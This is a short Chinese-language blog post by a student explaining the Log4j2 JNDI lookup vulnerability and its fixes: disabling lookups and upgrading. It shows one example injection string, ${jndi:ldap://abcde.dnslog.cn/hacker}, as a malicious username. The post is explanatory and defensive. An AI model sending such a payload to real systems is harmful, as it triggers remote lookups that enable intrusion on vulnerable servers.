前言
從一月初到春節這段時間一直在學習408和密碼學的相關知識,閑暇之余想起來考研期間(確切講是12月初)被曝出的log4j的漏洞。一方面,許多的公司以及大型企業都用到了這個開源項目,而且這個漏洞幾乎不需要任何特殊配置,因此幾乎人人中招;另一方面,在一個名叫《我的世界》的游戲的多人模式中,許多的服務器也使用了這個開源項目用於調試,這導致了許多服主連夜關機修補。因此我對這個漏洞也十分好奇,想了解一下它的具體工作原理。
啥是log4j
log4j並不是漏洞的名字,而是一個開源項目的名稱。
它最主要的作用是可以把控制日志信息輸送到一個指定的位置,例如控制台,文件,或者是套接口服務器。這個項目大大方便了操控者的調試工作,也彌補了java的一些不足。
漏洞原理
在log4j(准確是log4j2)中有一個lookup接口,它可以在輸出日志的時候,通過某種方式去查找要輸出的內容。
如圖所示,log4j2將會對這行要輸出的字符串進行解析,它發現了字符串中有${,要單獨處理,發現是JNDI擴展內容。
JNDI是一種查找和訪問各種命名和目錄服務的通用、統一的接口,類似於JDBC,它可以遠程下載class文件來構建對象。
log4j 2中JNDI解析未作限制,可以直接訪問到遠程對象,例如黑客的服務器。
我們可以假設用戶名是從外部獲取的用戶輸入,此時構建一個惡意用戶名${jndi:ldap://abcde.dnslog.cn/hacker}
,然后觸發日志記錄。
這就相當於來了一次JNDI注入。
有關解決和修復
方式一:禁用lookup或JNDI服務
罪魁禍首就是lookup和JNDI,那么直接修改配置文件log4j2.formatMsgNoLookups=True或禁用JNDI服務,不過一般產生問題的服務都是線上已經在跑的服務,禁用的時候要注意評估一下是否允許。
方式二:升級新版本
新版的log4j2已經修復了這個問題,升級即可解決。修復后的log4j2在JNDI lookup中增加了很多的限制:
1.默認不再支持二次跳轉(也就是命名引用)的方式獲取對象
2.只有在log4j2.allowedLdapClasses列表中指定的class才能獲取。
3.只有遠程地址是本地地址或者在log4j2.allowedLdapHosts列表中指定的地址才能獲取
這樣處理等於是去掉了通過打印日志去遠程加載class的方式。
參考
https://www.jianshu.com/p/1517b8c8ebf9
https://zhuanlan.zhihu.com/p/447266098
https://www.cnblogs.com/williamjie/p/9197738.html
bilibili相關視頻以及專欄